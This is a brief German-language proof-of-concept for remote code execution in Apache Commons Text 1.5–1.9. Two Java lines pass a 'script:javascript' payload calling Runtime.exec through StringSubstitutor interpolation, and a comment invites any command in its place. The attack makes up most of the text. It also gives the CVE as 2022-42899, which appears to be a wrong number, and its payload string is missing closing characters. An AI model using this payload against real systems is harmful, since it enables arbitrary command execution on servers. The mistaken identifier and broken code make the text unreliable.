
Proof-of-Concept-Exploit für CVE-2022-42899, der Remote Code Execution in Apache Commons Text 1.5-1.9 über StringSubstitutor-Interpolation mit script:javascript-Payloads demonstriert.
Apache Common Text ab Version 1.5 bis 1.9 weist eine Schwachstelle zur Remotecodeausführung auf CVE-2022-42899.
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'